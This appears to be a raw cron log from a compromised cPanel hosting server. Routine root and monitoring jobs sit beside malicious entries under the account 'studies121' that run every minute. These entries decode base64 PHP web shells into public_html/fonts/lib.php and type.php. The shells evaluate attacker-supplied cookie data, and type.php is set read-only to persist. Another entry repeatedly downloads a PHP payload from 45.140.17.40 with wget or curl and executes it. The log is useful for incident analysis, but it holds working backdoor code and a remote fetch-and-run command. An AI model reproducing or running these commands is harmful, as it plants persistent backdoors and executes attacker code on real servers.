Sep 12 17:24:02 ip-184-168-122-23 CROND[30763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:25:01 ip-184-168-122-23 CROND[30860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:25:01 ip-184-168-122-23 CROND[30862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:25:01 ip-184-168-122-23 CROND[30864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:25:01 ip-184-168-122-23 CROND[30865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:25:01 ip-184-168-122-23 CROND[30866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:25:01 ip-184-168-122-23 CROND[30867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:26:01 ip-184-168-122-23 CROND[31054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:26:01 ip-184-168-122-23 CROND[31057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:26:01 ip-184-168-122-23 CROND[31056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:26:01 ip-184-168-122-23 CROND[31055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:26:01 ip-184-168-122-23 CROND[31059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:27:01 ip-184-168-122-23 CROND[31162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:27:01 ip-184-168-122-23 CROND[31165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:27:01 ip-184-168-122-23 CROND[31164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:27:01 ip-184-168-122-23 CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:28:01 ip-184-168-122-23 CROND[31254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:28:01 ip-184-168-122-23 CROND[31256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:28:01 ip-184-168-122-23 CROND[31257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:28:01 ip-184-168-122-23 CROND[31260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:28:01 ip-184-168-122-23 CROND[31261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:29:01 ip-184-168-122-23 CROND[31352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:29:01 ip-184-168-122-23 CROND[31354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:29:01 ip-184-168-122-23 CROND[31357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:29:01 ip-184-168-122-23 CROND[31358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:30:01 ip-184-168-122-23 CROND[31456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:30:01 ip-184-168-122-23 CROND[31457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:30:01 ip-184-168-122-23 CROND[31460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:30:01 ip-184-168-122-23 CROND[31459]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 17:30:01 ip-184-168-122-23 CROND[31462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:30:01 ip-184-168-122-23 CROND[31464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:30:01 ip-184-168-122-23 CROND[31467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:30:01 ip-184-168-122-23 CROND[31466]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:31:01 ip-184-168-122-23 CROND[31640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:31:01 ip-184-168-122-23 CROND[31642]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 17:31:01 ip-184-168-122-23 CROND[31646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:31:01 ip-184-168-122-23 CROND[31645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:31:01 ip-184-168-122-23 CROND[31644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:32:01 ip-184-168-122-23 CROND[31734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:32:01 ip-184-168-122-23 CROND[31739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:32:01 ip-184-168-122-23 CROND[31736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:32:01 ip-184-168-122-23 CROND[31737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:32:01 ip-184-168-122-23 CROND[31738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:33:01 ip-184-168-122-23 CROND[31854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:33:01 ip-184-168-122-23 CROND[31857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:33:01 ip-184-168-122-23 CROND[31856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:33:01 ip-184-168-122-23 CROND[31858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:34:01 ip-184-168-122-23 CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:34:01 ip-184-168-122-23 CROND[31954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:34:01 ip-184-168-122-23 CROND[31955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:34:01 ip-184-168-122-23 CROND[31957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:34:01 ip-184-168-122-23 CROND[31956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:35:01 ip-184-168-122-23 CROND[32074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:35:01 ip-184-168-122-23 CROND[32075]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 17:35:01 ip-184-168-122-23 CROND[32078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 17:35:01 ip-184-168-122-23 CROND[32080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 17:35:01 ip-184-168-122-23 CROND[32081]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 17:35:01 ip-184-168-122-23 CROND[32082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:35:01 ip-184-168-122-23 CROND[32083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 17:35:01 ip-184-168-122-23 CROND[32084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 17:36:01 ip-184-168-122-23 CROND[32287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 17:36:01 ip-184-168-122-23 CROND[32289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 17:36:01 ip-184-168-122-23 CROND[32290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 17:36:01 ip-184-168-122-23 CROND[32288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
